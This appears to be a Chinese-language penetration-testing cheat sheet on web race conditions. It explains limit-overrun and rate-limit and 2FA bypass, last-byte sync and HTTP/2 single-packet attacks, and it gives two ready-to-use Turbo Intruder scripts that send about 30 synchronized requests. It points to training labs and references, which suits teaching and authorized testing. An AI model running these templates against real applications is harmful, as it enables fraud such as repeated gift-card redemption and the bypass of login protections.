竞态条件 (Race Condition)
当一个进程的执行结果批判性地或出乎意料地取决于其他事件的顺序或时机时,就可能发生竞态条件。在 Web 应用程序环境中,可以同时处理多个请求,开发人员可能会将并发性交由框架、服务器或编程语言来处理。
摘要 (Summary)
- 工具 (#tools)
- 方法论 (#methodology)
- 技术技巧 (#techniques)
- Turbo Intruder 示例 (#turbo-intruder)
- 实验环境 (#labs)
- 参考资料 (#references)
工具 (Tools)
- PortSwigger/turbo-intruder - 一个用于发送大量 HTTP 请求并分析结果的 Burp Suite 扩展。
- JavanXD/Raceocat - 使得在 Web 应用程序中利用竞态条件变得高效且易于使用。
- nxenon/h2spacex - 基于 Scapy 的 HTTP/2 单包攻击低层级库/工具 + 利用时间攻击。
方法论 (Methodology)
限制超限 (Limit-overrun)
限制超限是指多个线程或进程竞争更新或访问共享资源,导致资源超过其预期限制的情况。
示例:超出取款限额、多次投票、礼品卡多次消费。
速率限制绕过 (Rate-limit Bypass)
当攻击者利用速率限制机制中缺乏适当同步的缺陷,从而超过预期的请求限制时,就会发生速率限制绕过。速率限制旨在控制操作(如 API 请求、登录尝试)的频率,但竞态条件可能允许攻击者绕过这些限制。
示例:绕过防暴力破解机制和多因素认证 (2FA)。
技术技巧 (Techniques)
HTTP/1.1 尾字节同步 (HTTP/1.1 Last-byte Synchronization)
发送除最后一个字节以外的所有请求,然后通过发送最后一个字节来同时“释放”每个请求。
使用 Turbo Intruder 执行尾字节同步:
示例:
HTTP/2 单包攻击 (HTTP/2 Single-packet Attack)
在 HTTP/2 中,你可以通过单个连接并发发送多个 HTTP 请求。在单包攻击中,将发送大约 20 到 30 个请求,它们将同时到达服务器。使用单包发送可以消除网络抖动。
- PortSwigger/turbo-intruder/race-single-packet-attack.py
- Burp Suite 操作步骤:
- 将一个请求发送到 Repeater
- 复制请求 20 次 (CTRL+R)
- 创建一个新组并添加所有请求
- 并行发送组请求 (单包攻击)
示例:
Turbo Intruder
示例 1
- 将请求发送到 Turbo Intruder
- 使用以下 Python 代码作为 Turbo Intruder 的载荷 (Payload)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- 现在设置外部 HTTP 标头
x-request: %s-这是 Turbo Intruder 所需要的
- 点击 "Attack" (开始攻击)
示例 2
当你在发送第一个请求(request1)后必须立即发送第二个请求(request2)的竞态条件利用(时间窗口可能只有几毫秒)时,可以使用以下模板。
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=False
)
request1 = '''
POST /target-URI-1 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
parameterName=parameterValue
'''
request2 = '''
GET /target-URI-2 HTTP/1.1
Host: <REDACTED>
Cookie: session=<REDACTED>
'''
engine.queue(request1, gate='race1')
for i in range(30):
engine.queue(request2, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
实验环境 (Labs)
- PortSwigger - 限制超限竞态条件
- PortSwigger - 多端点竞态条件
- PortSwigger - 通过竞态条件绕过速率限制
- PortSwigger - 多端点竞态条件
- PortSwigger - 单端点竞态条件
- PortSwigger - 利用时间敏感型漏洞
- PortSwigger - 部分构建竞态条件
参考资料 (References)
- 超越限制:利用首个序列同步扩展单包竞态条件以突破 65,535 字节限制 - @ryotkak - 2024年8月2日
- DEF CON 31 - 粉碎状态机:Web 竞态条件的真正潜力 - James Kettle (@albinowax) - 2023年9月15日
- 在 Web 应用程序中利用竞态条件漏洞 - Javan Rasokat - 2022年10月6日
- Web 竞态条件的新技术和新工具 - Emma Stocks - 2023年8月10日
- Web 应用中的竞态条件 Bug:一个案例研究 - Mandeep Jadon - 2018年4月24日
- Web 上的竞态条件 - Josip Franjkovic - 2016年7月12日
- 粉碎状态机:Web 竞态条件的真正潜力 - James Kettle (@albinowax) - 2023年8月9日
- Turbo Intruder:拥抱十亿次请求攻击 - James Kettle (@albinowax) - 2019年1月25日